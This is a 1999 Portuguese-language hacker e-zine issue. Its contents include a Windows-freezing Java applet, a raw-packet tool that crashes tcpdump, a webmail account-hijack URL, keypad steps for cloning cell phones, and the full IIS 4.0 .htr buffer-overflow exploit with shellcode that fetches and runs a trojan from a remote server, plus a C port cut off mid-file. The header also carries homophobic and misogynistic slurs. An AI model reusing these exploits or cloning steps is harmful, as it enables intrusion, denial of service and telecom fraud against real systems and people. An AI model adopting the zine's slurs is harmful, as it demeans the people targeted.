_____________ ________ ___________ ___ __/__ /______ ___ __ \__________ __ /___ /_ __ / __ __ \ _ \ __ / / / _ \ __ `/ __/_ __ \ _ / _ / / / __/ _ /_/ // __/ /_/ // /_ _ / / / /_/ /_/ /_/\___/ /_____/ \___/\__,_/ \__/ /_/ /_/ ______ __ _____ ______ _____ ___ //_/_________(_)______ ___ /___ /________ __ ,< __ __ \_ /__ __ `/_ __ \ __/_ ___/ _ /| | _ / / / / _ /_/ /_ / / / /_ _(__ ) /_/ |_| /_/ /_//_/ _\__, / /_/ /_/\__/ /____/ /____/ ______________________________Death_Knights_________________________________ ---------------------------------------------------------------------------- Data estelar: 1.0875249401 Data terrestre: 16/08/1999 DeathKnights #09a e-mail: death@DeathKnights.com page: http://www.DeathKnights.com melhor visualizado com joe -asis e terminal com setfont alt-8x16. (linux) melhor visualizado com edit. (dos) ______________________________Death_Knights_________________________________ ---------------------------------------------------------------------------- .-----------. | SECOES \_______________________________________________________________ `----------------------------------------------------------------------------' [1]==[ Esclarecimentos & algo mais... ] [ Cacaio ]==[1] [2]==[ Crimes por Computadores - Aspectos Legais ] [ Cacaio ]==[2] [3]==[ Win98 BUG ou IE BUG? ] [ LiquidPapaer ]==[3] [4]==[ tcpdump bug ] [ Cacaio ]==[4] [5]==[ Zipmail.... ] [ Cheat Struck ]==[5] [6]==[ Clonando celulares ] [ Cacaio ]==[6] [7]==[ IIS ] [ EnCrIpTy ]==[7] [8]==[ Macintosh ] [ Cacaio ]==[8] [9]==[ Getpass ] [ Cacaio ]==[9] [10]=[ DoS en webservers NetWare ] [ Cacaio ]=[10] [11]=[ HENIX (Hacking Emulator uNIX) ] [ Cheat Struck ]=[11] [12]=[ Mascarando Comandos ] [ Cheat Struck ]=[12] [13]=[ Alguns Lances de Linux ] [ Cheat Struck ]=[13] [14]=[ Ultimas Palavras ] [ Cacaio ]=[14] Site recomendado: http://struck.8m.com Gay que assumiu a pouco tempo: Guitarrista_Metaleiro Casal gay mais famoso do momento: Mister M e Cid Moreira Maior idiota de todos os tempos: TYPe_0 Vadia do momento: Sheilah Canais de IRC recomendados: #puta_que_pariu e #hanson_eh_meu_ovo (BrasNet) -=[ 1 ]=- .------------------------------------. | = Esclarecimentos & algo mais ... = \______________________________________ `----------------------------------------------------------------------------' Nao nos responsabilizamos pela informacao contida neste zine. Se voce usar indevidamente qualquer informacao contida aqui, a responsabilidade e' to- da sua. Se for pego, preso ou sei la o que, nao nos perturbe e blablabla. O Dr4271 nao pode escrever sobre eletronica digital para esta edicao, mas esta' confirmado que na proxima edicao teremos uma materia dele. Este grupo nao visa nenhum fim lucrativo. Mas se ganharmos alguma coisinha nao reclamaremos. heh. Nos fazemos isto por diversao e nada mais. Ah!!!! Se voce tiver uma materia qualquer e quiser publica-la aqui, basta envia-la em modo TEXTO ASCII por e-mail para death@deathknights.com. Vamos ler a materia, avaliar e talvez ela seja publicada. Mande qalquer coisa, menos badcoms, trojans, hackear via ftp ou afins. ATENCAO: se voce quer se tornar um membro, nos mande um e-mail. Lhe sera' enviado um arquivo que voce deve responder, e dependedo dele, voce recebera' outro, ate' ser aprovado (ou nao). Se voce nao gostou da informacao contida aqui, nao nos perturbe. O problema e' todo seu. Cacaio cacaio@deathknights.com `'`'`' `'`'`'`'`'`'`'`'`'`'`'` -=[ 2 ]=- .----------------------------------------------. | = Crimes por Computadores - Aspectos Legais = \____________________________ `----------------------------------------------------------------------------' by Cacaio .------------. | Os Dados `--------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Por dado compreende-se o elemento atomico desprovido de significado, ou quase sem significado. Ao agregar conjuntos de dados por meio de estruturas peculiares obtem-se algo que entao pode ser dito como informacao. .------------------------------------------. | Lei No. 5.988 de 1973 - Direitos do Autor `--------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Se a informacao constituida se revelar como material original e em se tratando de obra literaria, artistica (musicas, videos, etc) ou cientifica (programas, estudos, etc) seu autor goza de direitos como descreve a Lei No. 5.988 de 1973. .-----------------------. | Lei No. 7.492 de 1986 `---------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - O simples acesso nao autorizado a dados alheios mantidos por instituicao financeira ja nao e' fato tipico, pois a Lei No. 7.492 de 1986 em seu artigo 18 trata a violacao de sigilo de operacao ou de servico prestado por instituicao financeira como crime. Ou seja, invadir computadores de empresas ou organizacoes e considerado crime, mas invadir computadores pessoais nao. .-----------------------. | Lei No. 7.170 de 1983 `---------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Para os conjuntos de dados classificados como sigilosos e de interesse do Estado brasileiro, a sua divulgacao (comunicar, entregar, permitir a comunicacao ou entrega) a governo ou grupo estrangeiro, ou a organizacao ou grupo de existencia ilegal, configura crime contra a seguranca nacional, na ordem politica e social. .---------------------. | O Dano ao Computador `-----------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Sendo o equipamento de computador coisa alheia movel, e uma vez que as condutas de apagar ou alterar suas representacoes digitais repercutem diretamente nas condicoes de seu normal funcionamento, e' possivel a caracterizacao do crime de dano. Desta maneira, a maquina passa a ser compreendida devidamente como um agregado de partes fisicas (o hardware) mais instrucoes indispensaveis para que se obtenha uma pretensa funcionalidade (o software). .----------. | Pirataria `----------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - O software ja e' considerado especificamente como producao intelectual original desde a Lei No. 7.646 de 1987, sendo que o Projeto de Lei 14 de 1996 - C.D. aprimorou o codigo juridico em pontos como o tempo de duracao dos direitos e a penalizacao dos infratores. .------------------------------------. | Internet como um meio de divulgacao `--------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - A disponibilizacao de material na Internet, possibilita qualquer cidadao conectado a rede a acesse, resguardadas possiveis barreiras de seguranca como utilizacao de senhas. A popularizacao da rede se deu gracas a utilizacao em larga escala do protocolo http, que ate' hoje e' o meio mais usado para se obter material de qualquer tipo na Internet. E' correto entao situar este meio entre as midias de comunicacao com grande alcance a populacao, e a possibilidade de interpretar um conteudo nele presente como algo divulgado amplamente. A casuistica do Departamento de Policia Federal, em trabalhos relacionados a Internet deriva principalmente de: * sub-redes pertencentes ao governo federal; * o artigo 109, inciso V da Constituicao Federal, estabelece que crimes relacionados em tratados ou convencoes internacionais sao de competencia da Justica Federal; * a Internet nao tem fronteiras geograficamente delimitadas, e com frequencia dinamica dos fatos faz necessaria a apuracao uniforme por diversos estados do nosso pais(ficando a lacuna dos crimes com alcance extraterritorial sem previsao em acordos internacionais). Cacaio cacaio@deathknights.com `'`'`' `'`'`'`'`'`'`'`'`'`'`'` -=[ 3 ]=- .-------------------------. | = Win98 BUG ou IE BUG? = \_________________________________________________ `----------------------------------------------------------------------------' by LiquidPaper No final do ano passado, um programador chamado Fabio Ciucci descobriu um BUG que afetava o Internerd Exploder 4.0 e 5.0, e que nao afetava qualquer outro browser decente no mercado (Netscape) , e nem afetava versoes anteriores do IE. Depois de um mes da decoberta a Micro$oft lancou um patch que pode ser baixado da hp deles mesmo. Pronto! Problema resolvido! Hehe, nem tanto...! Esse BUG naum afeta SOH o IE, mais sim, o Windows inteiro! Tudo consiste em um .class malicioso que qdo eh carregado em uma pagina, faz um verdadero congelamento no Rwin. O patch para o BUG concerta o erro no IE, mas nao no Win! Aqui vai o codigo fonte do .class (compile com J++ ou Micro$oft SDK para Java), mas tambem ja vai o .class anexo a zine: -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- import com.ms.directX.DDSurfaceDesc; import com.ms.directX.DirectDraw; import com.ms.directX.DirectDrawSurface; import com.ms.directX.Rect; import java.applet.Applet; import java.awt.Canvas; import java.awt.Component; import java.awt.Container; public class hello extends Applet { public void init() { Canvas canvas4= new Canvas(); add(((Component)canvas4)); DirectDraw directDraw5= new DirectDraw(); show(); directDraw5.setCooperativeLevel(((Component)canvas4), 8); DDSurfaceDesc dDSurfaceDesc2= new DDSurfaceDesc(); dDSurfaceDesc2.flags= 1; dDSurfaceDesc2.ddsCaps= 512; directDraw5.createSurface(dDSurfaceDesc2); DDSurfaceDesc dDSurfaceDesc3= new DDSurfaceDesc(); dDSurfaceDesc3.flags= 7; dDSurfaceDesc3.ddsCaps= 64; dDSurfaceDesc3.width= 640; dDSurfaceDesc3.height= 480; DirectDrawSurface directDrawSurface1= directDraw5.createSurface(dDSurfaceDesc3); Rect rect6= new Rect(); rect6.left= 0; rect6.top= 0; rect6.right= 640; rect6.bottom= 480; directDrawSurface1.lock(rect6, dDSurfaceDesc3, 1, 0, new byte[307200]); } } -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- Para testar esse bug (mesmo com o patch do IE, pois estamos falando de Win BUG agora!) :) eh soh vc colocar o .class dentro de qualquer pasta que vc queira, depois vc tera que escolher a fun‡ao "personalizar esta pasta" , e dentro do arquivo folder.htt que se criara automaticamente, dentro vc coloca uma linha para carregar o .class como essa: -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- Ai' eh soh abilitar a opcao "Ver como pagina web", feche a pasta que esta com os arquivos, e volte a abrir ela! BOOOOOOOOOOOOOOOOOM!!!!!! Quem mandou usar Win!! :)) E eh isso ai'! FALOW! LiquidPaper liquid_666@usa.net `'`'`'`'`'` `'`'`'`'`'`'`'`'`' -=[ 4 ]=- .----------------. | = tcpdump bug = \__________________________________________________________ `----------------------------------------------------------------------------' by Cacaio Quando recebendo um pacote IP com Protocol-4 e ihl=0, o tcpdump entra em um loop infinito por causa dos procedimentos do ip_print() do arquivo print_ip.c. Isso acontece por que o tamanho do header (ihl) e' igual a '0' e o tcpdump tenta imprimir o pacote. O resultado varia de OS para OS. Pode variar de travar o sistema, a um core dump. Testem! Ahhh! Ai' no source tambem vem a explicacao de como arrumar o problema. :) -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- /* tcpdump bug 3.4a? by BLADI (bladi@euskalnet.net); */ #include #include #include #include #include #include #include #include #include #include struct icmp_hdr { struct iphdr iph; char text[15]; } encaps; int in_cksum(int *ptr, int nbytes) { long sum; u_short oddbyte, answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *)&oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } struct sockaddr_in sock_open(int socket, char *address,int prt) { struct hostent *host; struct sockaddr_in sin; if ((host = gethostbyname(address)) == NULL) { perror("Nao foi possivel pegar o hostname"); exit(-1); } bzero((char *)&sin, sizeof(sin)); sin.sin_family = PF_INET; sin.sin_port = htons(prt); bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length); return(sin); } void main(int argc, char **argv) { int sock, i,k; int on = 1; struct sockaddr_in addrs; printf("\tThe Death Knights - www.deathknights.com\n\n\t\tTCPDumper Ver 0.2 \n\t\t\tBy Bladi\n"); if (argc < 3) { printf("Uso: %s \n", argv[0]); exit(-1); } encaps.text[0]=66; encaps.text[1]=76; encaps.text[2]=65; encaps.text[3]=68; encaps.text[4]=73; encaps.text[5]=32; encaps.text[6]=84; encaps.text[7]=90; encaps.text[8]=32; encaps.text[9]=84; encaps.text[10]=79;encaps.text[11]=32; encaps.text[12]=84;encaps.text[13]=79;encaps.text[14]=80;encaps.text[15]=79; sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("Nao foi possivel setar a opcao IP_HDRINCL no socket"); } if (sock < 0) { exit(-1); } fflush(stdout); addrs = sock_open(sock, argv[2], random() % 255); encaps.iph.version = 0; encaps.iph.ihl = 0; encaps.iph.frag_off = htons(0); encaps.iph.id = htons(0x001); encaps.iph.protocol = 4; encaps.iph.ttl = 146; encaps.iph.tot_len = 6574; encaps.iph.daddr = addrs.sin_addr.s_addr; encaps.iph.saddr = inet_addr(argv[1]); printf ("\t DuMpInG %s ---> %s \n",argv[1],argv[2]); if (sendto(sock, &encaps, 1204, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1) { if (errno != ENOBUFS) printf("Erro :(\n"); } fflush(stdout); close(sock); } -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- Solucoes: .o. tcpdump -s 24 Ou aplique este patch: diff -r -p /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c *** /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c Wed May 28 21:51:45 1997 --- /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c Tue Oct 27 05:35:27 1998 *************** ip_print(register const u_char *bp, regi *** 440,446 **** (void)printf("%s > %s: ", ipaddr_string(&ip->ip_src), ipaddr_string(&ip->ip_dst)); - ip_print(cp, len); if (! vflag) { printf(" (ipip)"); return; --- 440,445 ---- Cacaio cacaio@deathknights.com `'`'`' `'`'`'`'`'`'`'`'`'`'`'` -=[ 5 ]=- .----------------. | = Zipmail.... = \__________________________________________________________ `----------------------------------------------------------------------------' by Cheat Struck Fiquei sabendo por meio de amigos que existe uma falha no zipmail. Nao sei sobre o que se trata nem como eh. O kra disse que iria escrever sobre isso para a zine, mas nao deu sinal de vida. Decidi procura-lo. Nao encontrei nada demais. Apenas o seguinte: Se voce descobrir que alguem se logou na zipmail, eh possivel enviar mailz de sua conta e ler seus emails. Entao voce vai no irc e di pro kra: "Da uma olhada na tua mailbox na zipmail... ve se meu email chegou". Ae entao voce vai pro seu browser e digita... http://www.zipmail.com.br/headers.asp?username=login&tofolder=yes&folder=1 | +---O login do kra. Cheat Sruck struck@struck.8m.com `'`'` '`'`' `'`'`'`'`'`'`'`'`'`' -=[ 6 ]=- .-----------------------. | = Clonando celulares = \___________________________________________________ `----------------------------------------------------------------------------' by Cacaio Se voce ler esse texto, voce vai aprender a clonar celulares NOKIA, MOTOROLA e ERICSSON. Para voce clonar um celular, voce precisa dos seguintes itens: Oo. System ID Oo. Codigo de area Oo. Numero do telefone a ser clonado .-------------. | System ID `-------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Antes de mais nada, voce deve encontrar o system id da area em que voce esta'. Voce pode fazer isto do seguinte modo: . Ligue para a operadora de celular dizendo que voce esta' programando seu telefone para outro numero por que voce vai vende-lo ou algo do genero e eles lhe darao o system id deles, que consiste em um numero de 5 digitos. Por exemplo: 12463 Se nao conseguir assim, se vire e consiga um .------------------. | Codigo de Area `--------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Se voce nao sabe o codigo de area em que voce esta' voce nao deveria nem estar usando um celular e nem lendo este zine. Mas se mesmo assim voce quer saber, vao alguns exemplos: Brasilia - 061 Rio de Janeiro - 021 Sao Paulo - 011 .------------------------------------. | Numero do telefone a ser clonado `--------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - E' isso mesmo, o numero do telefone que voce quer clonar. Eu creio que todos todos saibam como e' mais ou menos um numero de telefone(duh), mas mesmo assim vai um exemplo: 981-5678 (oooooohhhhhhhh!!!!!!!) .----------------. | Ao trabalho! `----------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Agora vamos ao trabalho! Depois de voce ter os dados acima, voce esta' pronto para clonar um celular. A seguir, estao instrucoes para clonar celulares das marcas NOKIA, MOTOROLA e ERICSSON. .--------. | NOKIA `------------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Modelos: 21xx, 51xx, 61xx, 636, 639, 918 Passos: - - 1)Ligue o telefone 2)Aperte *#639# 3)Coloque o codigo de area e o numero do telefone a ser clonado e aperte ok ex: 061-981-5678 4)Coloque o system id (ex: 12463), aperte ok. 5)O telefone ira automaticamente se desligar e religar. - - Modelos: P1000/100/PT101/PT128/PT228/PT232 Passos: - - 1)Ligue o celular 2)Aperte *3001#12345 3)No display aparecera' 00 4)Segure CLR por alguns segundos, coloque o codigo de area e o numero do telefone a ser clonado, aperte store,02,store,CLR(segure por alguns segundos) 5)Coloque o system ID 6)Aperte *1*10333*05*05, aperte store 7)aperte 03, aperte store 8)aperte CLR 9)Desligue o telefone para salvar a programacao. - - Modelos: 232/239/515 Passos: - - 1)Aperte *3001#12345, aperte STO 00 2)Aperte e segure CLR (voce vai ouvir 2 beeps) 3)Aperte: 911#5551212#0 * 12345, STO, 01, STO 4)Aperte e segure CLR (voce vai ouvir 2 beeps) 5)coloque o codigo de area e o numero do telefone a ser clonado, aperte: STO, 02, STO 6)Aperte e segure CLR (voce vai ouvir 2 beeps) 7)Aperte: *1*1 *333*15*05# 0111 * 1 ,STO, 03, STO 8)Aperte e segure CLR (voce vai ouvir 2 beeps) 9)Desligue e ligue o telefone - - .-----------. | MOTOROLA `---------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Todos os modelos Passos: - - 1)Aperte FCN, aperte 0000000000000 (13 zeros) 2)Aperte RCL (no display aparecera' "01") 3)Coloque o system ID e aperte ** 4)Coloque o codigo de area e aperte press ** 5)Coloque o numero a ser clonado e aperte ** 6)Coloque 05 e aperte ** 7)Coloque 0 e o 2o ultimo digito do numero a ser clonado e aperte ** 8)Coloque 05 e aperte ** 9)Coloque 000000 e aperte press ** 10)Coloque o codigo de destravamento e aperte ** 11)Coloque 0333 e aperte ** 12)Aperte *,* 13)No display aparecera' "01". Aperte "SEND". Agora aperte RCL e #. - - .-----------. | ERICSSON `---------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Modelos: 318/368/388/618/688 Passos: - - 1)Aperte 923885, Aperte MENUE 2)Aperte 1 3)O ESN ira' aparecer (aperte RCL) 4)coloque o numero do celular que voce quer clonar, aperte RCL 5)Aparecera' "#" (aperte RCL) 6)Coloque o system id e aperte RCL 7)ALPHA TAG 1 (deixe como esta') Aperte RCL 8)Codigo de travamento 0000, aperte RCL 9)Va para o nivel 2, aperte NO 10)EXIT (saia e salve)(Aperte YES) 11)Aperte MENUE 12)Aperte 3 13)Aperte 2 - - Pronto! E' so'. Cacaio cacaio@deathknights.com `'`'`' `'`'`'`'`'`'`'`'`'`'`'` -=[ 7 ]=- .----------. | = IIS = \________________________________________________________________ `----------------------------------------------------------------------------' by EnCrIpTy Hi d00dz. Eh com muito prazer que eu venho escrever, pela primeira vez, na zine The Death Knights. Acabando com essas baboseiras, que ninguem le mesmo(Words of cacaio), vamos ao que interessa. Irei falar do mais novo bug de um software produzido pela microsoft. Trata-se do bug do IIS. well... naum sei de tuuuudo sobre isso naum... mas... vou ensinar como vc pode entrar em uma das maquinas que rodem o IIS. .-------------------------. | De que eh preciso? `-------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Oo. telnet: . Oo. codigo fonte do programa (aih embaixo) Oo. um trojan que vai abrir a porta da maquina. Codigo fonte em asm (windows): -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- .386p locals jumps .model flat, stdcall extrn GetCommandLineA:PROC extrn GetStdHandle:PROC extrn WriteConsoleA:PROC extrn ExitProcess:PROC extrn WSAStartup:PROC extrn connect:PROC extrn send:PROC extrn recv:PROC extrn WSACleanup:PROC extrn gethostbyname:PROC extrn htons:PROC extrn socket:PROC extrn inet_addr:PROC extrn closesocket:PROC .data sploit_length equ 1157 sploit: db "GET /" db 041h, 041h, 041h, 041h, 041h, 041h, 041h db 576 dup (041h) db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h _url2 db 85 dup (021h) db ".htr HTTP/1.0" db 00dh,00ah, 00dh, 00ah logo db "------(IIS 4.0 remote buffer overflow exploit)---------------------------------", 13, 10 db "(c) dark spyrit -- barns@eeye.com.",13,10 db "http://www.eEye.com",13,10,13,10 db "[usage: iishack ]", 13, 10 db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10 db "do not include 'http://' before hosts!",13,10 db "-------------------------------------------------------------------------------", 13, 10, 0 logolen equ $-logo u_length db 10,"No more than 70 chars in 2nd url.",13,10,0 u_lengthl equ $-u_length errorinit db 10,"Error initializing winsock.", 13, 10, 0 errorinitl equ $-errorinit nohost db 10,"No host or IP specified.", 13,10,0 nohostl equ $-nohost noport db 10,"No port specified.",13,10,0 noportl equ $-noport no_url db 10,"No URL specified.",13,10,0 no_urll equ $-no_url urlinv db 10,"Invalid URL.. no file specified?",13,10,0 urlinvl equ $-urlinv reshost db 10,"Error resolving host.",13,10,0 reshostl equ $-reshost sockerr db 10,"Error creating socket.",13,10,0 sockerrl equ $-sockerr ipill db 10,"IP error.",13,10,0 ipilll equ $-ipill porterr db 10,"Invalid port.",13,10,0 porterrl equ $-porterr cnerror db 10,"Error establishing connection.",13,10,0 cnerrorl equ $-cnerror success db 10,"Data sent!",13,10,0 successl equ $-success console_in dd ? console_out dd ? bytes_read dd ? wsadescription_len equ 256 wsasys_status_len equ 128 WSAdata struct wVersion dw ? wHighVersion dw ? szDescription db wsadescription_len+1 dup (?) szSystemStatus db wsasys_status_len+1 dup (?) iMaxSockets dw ? iMaxUdpDg dw ? lpVendorInfo dw ? WSAdata ends sockaddr_in struct sin_family dw ? sin_port dw ? sin_addr dd ? sin_zero db 8 dup (0) sockaddr_in ends wsadata WSAdata sin sockaddr_in sock dd ? numbase dd 10 _port db 256 dup (?) _host db 256 dup (?) _url db 256 dup (?) stuff db 042h, 068h, 066h, 075h, 041h, 050h .code start: call init_console push logolen push offset logo call write_console call GetCommandLineA mov edi, eax mov ecx, -1 xor al, al push edi repnz scasb not ecx pop edi mov al, 20h repnz scasb dec ecx cmp ch, 0ffh jz @@0 test ecx, ecx jnz @@1 @@0: push nohostl push offset nohost call write_console jmp quit3 @@1: mov esi, edi lea edi, _host call parse or ecx, ecx jnz @@2 push noportl push offset noport call write_console jmp quit3 @@2: lea edi, _port call parse or ecx, ecx jnz @@3 push no_urll push offset no_url call write_console jmp quit3 @@3: push ecx lea edi, _url call parse pop ecx cmp ecx, 71 jb length_ok push u_lengthl push offset u_length call write_console jmp quit3 length_ok: mov esi, offset _url mov edi, offset _url2 @@10: xor al, al lodsb cmp al, 02fh jz whaq test al, al jz @@20 add al, 021h stosb jmp @@10 @@20: push urlinvl push offset urlinv call write_console jmp quit3 whaq: push esi lea esi, stuff lodsw stosw lodsd stosd pop esi fileget: xor al, al lodsb test al, al jz getdone add al, 021h stosb jmp fileget getdone: push offset wsadata push 0101h call WSAStartup or eax, eax jz winsock_found push errorinitl push offset errorinit call write_console jmp quit3 winsock_found: xor eax, eax push eax inc eax push eax inc eax push eax call socket cmp eax, -1 jnz socket_ok push sockerrl push offset sockerr call write_console jmp quit2 socket_ok: mov sock, eax mov sin.sin_family, 2 mov esi, offset _port lewp1: xor al, al lodsb test al, al jz go cmp al, 039h ja port_error cmp al, 030h jb port_error jmp lewp1 port_error: push porterrl push offset porterr call write_console jmp quit1 go: mov ebx, offset _port call str2num mov eax, edx push eax call htons mov sin.sin_port, ax mov esi, offset _host lewp: xor al, al lodsb cmp al, 039h ja gethost test al, al jnz lewp push offset _host call inet_addr cmp eax, -1 jnz ip_aight push ipilll push offset ipill call write_console jmp quit1 ip_aight: mov sin.sin_addr, eax jmp continue gethost: push offset _host call gethostbyname test eax, eax jnz gothost push reshostl push offset reshost call write_console jmp quit1 gothost: mov eax, [eax+0ch] mov eax, [eax] mov eax, [eax] mov sin.sin_addr, eax continue: push size sin push offset sin push sock call connect or eax, eax jz connect_ok push cnerrorl push offset cnerror call write_console jmp quit1 connect_ok: xor eax, eax push eax push sploit_length push offset sploit push sock call send push successl push offset success call write_console quit1: push sock call closesocket quit2: call WSACleanup quit3: push 0 call ExitProcess parse proc ;cheap parsing.. hell.. its only an exploit. lewp9: xor eax, eax cld lodsb cmp al, 20h jz done test al, al jz done2 stosb dec ecx jmp lewp9 done: dec ecx done2: ret endp str2num proc push eax ecx edi xor eax, eax xor ecx, ecx xor edx, edx xor edi, edi lewp2: xor al, al xlat test al, al jz end_it sub al, 030h mov cl, al mov eax, edx mul numbase add eax, ecx mov edx, eax inc ebx inc edi cmp edi, 0ah jnz lewp2 end_it: pop edi ecx eax ret endp init_console proc push -10 call GetStdHandle or eax, eax je init_error mov [console_in], eax push -11 call GetStdHandle or eax, eax je init_error mov [console_out], eax ret init_error: push 0 call ExitProcess endp write_console proc text_out:dword, text_len:dword pusha push 0 push offset bytes_read push text_len push text_out push console_out call WriteConsoleA popa ret endp end start -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- Codigo fonte em c (nixes): -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- /* iis 4.0 exploit * by eeye security * * ported to unix/C by the teso crew. * * shoutouts to #hax and everyone else knowing us... * you know who you are. * * gcc -o tesoiis tesoiis.c -Wall */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, unsigned short int sourceport, int sec); void net_write (int fd, const char *str, ...); unsigned long int net_resolve (char *host); char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */ #define URL_OFFSET 1055 char front[] = "GET /AAAAAAA" 